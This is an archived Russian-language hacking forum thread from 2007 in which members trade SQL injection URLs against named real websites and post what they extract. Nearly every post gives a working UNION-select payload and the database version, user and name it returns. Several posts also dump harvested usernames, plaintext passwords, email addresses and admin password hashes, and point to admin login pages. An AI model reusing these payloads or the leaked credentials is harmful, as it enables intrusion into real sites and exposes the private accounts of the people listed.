FORUMS

MEMBERS

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
SQL Инъекции

Страница 378 из 1602

378

Опции темы

Поиск в этой теме

Опции просмотра

25.11.2007, 23:13

Nea7

Участник форума

Регистрация: 08.09.2007

Сообщений: 211

Провел на форуме:
5076186

Репутация: 778

Код:

http://[host]/searchresult.php?sbcat_id=999999[sql-inj]

Код:

http://www.mytarif.com/searchresult.php?sbcat_id=11111111+union+select+1,concat(version(),0x3a,user(),0x3a,database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23/*

4.1.22-standard:anime_yemek@localhost:anime_yemek

Код:

http://www.garnek.net/searchresult.php?sbcat_id=11111111+union+select+1,concat(version(),0x3a,user(),0x3a,database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23/*

4.1.22-log:byq_9@ama127.rev.netart.pl:byq_9

Код:

http://www.kochfeuer.de/searchresult.php?sbcat_id=9999999+union+select+1,concat(version(),0x3a,user(),0x3a,database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23/*

5.0.32-Debian_7etch1~bpo.1-log:dbu1017245@localhost:db1017245-kochfeuer1

Код:

http://www.coolave.com/resources/searchresult.php?sbcat_id=99999+union+select+1,concat(version(),0x3a,user(),0x3a,database()),3,4/*

5.0.37-standard-log:avemusic_h742510@localhost:avemusic_coolave

Код:

http://www.arabhorse.com/links/searchresult.php?sbcat_id=1111+union+select+1,concat(version(),0x3a,user(),0x3a,database()),3,4/*

4.1.22-standard:arabhors_ah@localhost:arabhors_arabhorsed b

Код:

http://www.desikitchen.com/new/searchresult.php?sbcat_id=11111111+union+select+1,concat(version(),0x3a,user(),0x3a,database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23/*

4.1.22-standard:desikit_desikit2@localhost:desikit_portal 2

Код:

http://www.bobsbeerandbbq.com/searchresult.php?sbcat_id=11111111+union+select+1,concat(version(),0x3a,user(),0x3a,database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23/*

5.0.27-standard-log:claudia_recipe@localhost:claudia_recipe

Код:

http://www.dubina.com/searchresult.php?pg=5&sbcat_id=9999+union+select+1,concat(version(),0x3a,user(),0x3a,database()),3,4,5/*

4.1.22-standard-log:dubinaco_dubdir@localhost:dubinaco_dir1

Код:

http://www.grizzlynut.co.nz/directory/searchresult.php?&sbcat_id=99999999+union+select+1,concat(version(),0x3a,user(),0x3a,database()),3,4/*

4.1.22-standard-log:grizzlyn_direct@localhost:grizzlyn_direct

25.11.2007, 23:29

K1nD[e]R

Участник форума

Регистрация: 16.06.2007

Сообщений: 133

Провел на форуме:
1877761

Репутация: 237

Код:

http://www.realityhomes.com.do/cat.php?id=999+union+select+1,2,3,concat_ws(0x2F,user,pass,mail),5,6,7,8,9,10,11+from+usuarios/*

Version: 5.0.27-standard/nachon_sistema@localhost/nachon_sistema

Админы и юзвери

User Pass Mail

nachon/viejito/maneylandia@hotmail.com
guitarman/123456/luigisalas@hotmail.com
yospower/power/yospower1@yahoo.com
tribi32/triby0/yorbis11@hotmail.com
F./5v5ml5g5v5/vitico54@hotmail.com
teodoro/toly2468/ics_teodoro@hotmail.com
joriel/0230/joriel@netzeo.net
nmcprl/Carlanatalia/ncastillo@tricom.com.do
herrerap/222008/herrerap@realityhomes.com.do
Carlos/crpf13/crpfga@yahoo.es
mamto/8808607/mamto@realityhomes.com.do
Jissel/filipe/Jissel4@aol.com
otto/77688166601/ottocespedes@hotmail.com
dj-luis/987654321/lincon817@aol.com
elisa/espimai/liz_007_vip@hotmail.com

26.11.2007, 00:05

AFoST

Members of Antichat - Level 5

Регистрация: 28.05.2007

Сообщений: 729

Провел на форуме:
5571194

Репутация: 1934

Группа Центр

Дата рождения: 2004 год
Место рождения: г. Москва

Краткое досье: это одно из самых сильных звеньев СПРУТ групп, который является Единственным Союзом по-настоящему разносторонних уличных талантов. «Центр» является основой этого объединения, принимая непосредственное участие в концертной и творческой деятельности проекта.
Группа «Центр» объединяет самых перспективных и интересных рэп-исполнителей на данный момент: Гуфа aka Rolex-X, Slim’а aka Slimus, Птаху и Принципа. И если первый – гений текстов и крылатых фраз, второй профессионал от музыки, то последние два – отлично читают, преподнося наработанный материал наилучшим образом.

PHP код:


		
			
http://www.centrgroup.ru/nn.php?id=-1+union+select+1,2,3,4,5,concat(id,0x20,user_name,0x3a,user_pass),7+from+users+where+id=1/*

и ещё чета

PHP код:


		
			
http://www.gala-europe.de/ps.php?ID=-1'+union+select+table_name,2+from+information_schema.tables/*

Последний раз редактировалось AFoST; 26.11.2007 в 00:54..

26.11.2007, 01:35

ElteRUS

Постоянный

Регистрация: 11.10.2007

Сообщений: 406

Провел на форуме:
7215020

Репутация: 1423

rmx.ru

http://www.rmx.ru/photo/?id=-1+or+1=@@version--

Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on
Windows NT 5.2 (Build 3790: Service Pack 1)

http://www.rmx.ru/photo/?id=-1+or+1=(select+db_name())-- remix

http://www.rmx.ru/photo/?id=-1+or+1=(select+system_user)-- REMIXUS\IUSR_REMIXUS

------------------------------------------------------------------------

e-rostov.ru

http://www.e-rostov.ru/nws_podrob.php?nws=-1+union+select+1,2,3,4,5,concat_ws(0x2F,version(), database(),user()),7,8,9/*

5.0.27/db0662111/db0662111@localhost

http://www.e-rostov.ru/nws_podrob.php?nws=-1+union+select+1,2,3,4,5,concat_ws(0x2F,cast(al_lo gin+as+binary),cast(al_password+as+binary)),7,8,9+ from+admin_list+limit+0,1/*

логин/хеш
artexoid/81dc9bdb52d04dc20036dbd8313ed055

Другие интересные таблицы:

board_admin (LOGIN/ PASSWD), estate_admin(LOGIN/ PASSWD), estate_loginag(LOGIN / PASSWORD), news_admin(LOGIN/ PASSWD), question_admin(LOGIN/ PASSWD), stat_admin(LOGIN/ PASSWD), stic_admin(LOGIN/ PASSWD)

26.11.2007, 03:02

1NtR0

Участник форума

Регистрация: 14.04.2007

Сообщений: 197

Провел на форуме:
1122391

Репутация: 209

http://utdallas.edu/calendar/event.php?id=-1+UNION+SELECT+1,database(),version(),user(),5,6,7 ,8,9,10,11,12,13/*

user() == webdev_anon@www1.utdallas.edu
database() == calendar
version() == 4.0.18-max-log

26.11.2007, 12:45

fRg

Участник форума

Регистрация: 28.12.2006

Сообщений: 111

Провел на форуме:
500695

Репутация: 524

И вновь - Румыния!

burseguvern.ro

Код:

http://www.burseguvern.ro/articole/articol.php?id=2&id_modul=-1+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5/*

4.1.22-standard-log:burseguv_burse:burseguv_adm@localhost

ugir1903.ro

Код:

http://www.ugir1903.ro/ugir1903/articol.php?codp=-1+union+select+concat_ws(0x3a,version(),database(),user())/*

4.1.22-standard-log:ugir1903_main:ugir1903_web@localhost

dreptonline.ro

Код:

http://www.dreptonline.ro/articole/articol.php?id_articol=-1+union+select+concat_ws(0x3a,version(),database(),user()),2,3,4,5,6,7,8,9/*

4.1.22-standard:dreptonl_dr:dreptonl_dr@localhost

В табе useri 12 692 юзера :

Код:

http://www.dreptonline.ro/articole/articol.php?id_articol=-1+union+select+concat_ws(0x3a,user,parola,email),2,3,4,5,6,7,8,9+from+useri+limit+12691,1/*

Немного данных [user : pass : email] :

Код:

Dan:gringotts:popeangad@yahoo.com
Hfirimain:gringotts:popeanga@dreptonline.ro - типа Админ
auras1:ferari11:auras@rol.ro
florian.r:dreptcivil:florian.r@xyz.ro

26.11.2007, 14:36

fRg

Участник форума

Регистрация: 28.12.2006

Сообщений: 111

Провел на форуме:
500695

Репутация: 524

Румыния

SmartCall.ro

Код:

http://www.smartcall.ro/document.php?doc=-1+union+select+1,2,concat(aes_decrypt(aes_encrypt(version(),0x71),0x71),0x3a,aes_decrypt(aes_encrypt(database(),0x71),0x71),0x3a,aes_decrypt(aes_encrypt(user(),0x71),0x71)),4,5,6,7,8,9/*

5.0.18:smartcall:smartcall@localhost

Наша таба auth_users:

Код:

id,username,email,password_md5,конецформыначалоформыis_superuser,first_name,last_name

Данные:

Код:

http://www.smartcall.ro/document.php?doc=-1+union+select+1,2,concat_ws(0x3a,aes_decrypt(aes_encrypt(username,0x71),0x71),aes_decrypt(aes_encrypt(password_md5,0x71),0x71)),4,5,6,7,8,9+from+test.auth_users+limit+0,1/*

Админ:

Код:

dima:ebb934cccce0cbe48e5b017398807a46

AMIcom.ro

Код:

http://www.amicom.ro/studii/studiu.php?id=-1+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5/*

5.0.27:amicom:amicomadmin@localhost

Таба users:

Код:

username,userpass

Админка стандартно - _http://www.amicom.ro/admin/

Админ:

Код:

admin : admin123

26.11.2007, 15:40

fRg

Участник форума

Регистрация: 28.12.2006

Сообщений: 111

Провел на форуме:
500695

Репутация: 524

Румыния

ReporterDeOcazie.ro

Код:

http://www.reporterdeocazie.ro/index.php?page=intrebarea_zilei&id=-1+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5/*

5.0.21:reporterdeocazie:reporter@localhost

Наши таблицы - Admin,Useri и phpbb_users

Таблица Admin - пустая, с остальными проблем нет:

Код:

http://www.reporterdeocazie.ro/index.php?page=intrebarea_zilei&id=-1+union+select+1,concat_ws(0x3a,User,Password,Email),3,4,5+from+Useri+limit+0,1/*

26.11.2007, 15:58

Mike 007

Познающий

Регистрация: 04.04.2007

Сообщений: 54

Провел на форуме:
189215

Репутация: 86

Муниципальные образования Приморского края

Код:

http://www.mo.primorsky.ru/kirovsky/view.php?id=-1+union+select+1/*

www.mxd.ru

Код:

http://www.mxd.ru/projects/design/view.php?id=-1+union+select+1,database(),3,4,user(),6,7,pass,9,10,11,12,13,14,version(),16,17,18,19,20,21,22,23+from+user/*

Пароль админа: root
правда логин не знаю , и куда все эт сувать

mxd@62.205.161.7
4.0.27-log
http://women.unesco.kz

Код:

http://women.unesco.kz/view.php?id=-1+union+select+concat(login,0x3a,pwd),2,3,4,5,6+from+users+limit+1/*

XaHyMaH : aurora
не нашел где залогиниться =(
http://www.patkirk.com

Код:

http://www.patkirk.com/make.php?id=-1+union+select+user(),database(),version(),4,5,6,7+INFORMATION_SCHEMA/*

web18-patkirk1@localhost
web18-patkirk1
5.0.45-community
дальше ни че не смог сделать. есил что то получится у вас, отпишитесь плз.

Код:

http://www.age.fr/fr/module.php?ID=-1+order+by+11/*

После долгих мучений, я в плюсе!!!

Последний раз редактировалось Mike 007; 26.11.2007 в 16:49..

#10

26.11.2007, 16:54

big_BRAT

Познающий

Регистрация: 24.12.2006

Сообщений: 90

Провел на форуме:
1292655

Репутация: 168

http://portsmon.freebsd.org/

http://portsmon.freebsd.org/portoverview.py?category=&portname=gkrellsun'+UniO n+selEct+concat(version(),':',user()),2,3,4/*&wildcard=yes
5.0.45_:_portsmon_u@localhost

http://portsmon.freebsd.org/portoverview.py?category=&portname=gkrellsun'+UniO n+selEct+concat(table_name,':',column_name),2,3,4+ from+information_schema.columns/*&wildcard=yes

таблиц много, но как и следовало ожидать /для меня/ не чего интересного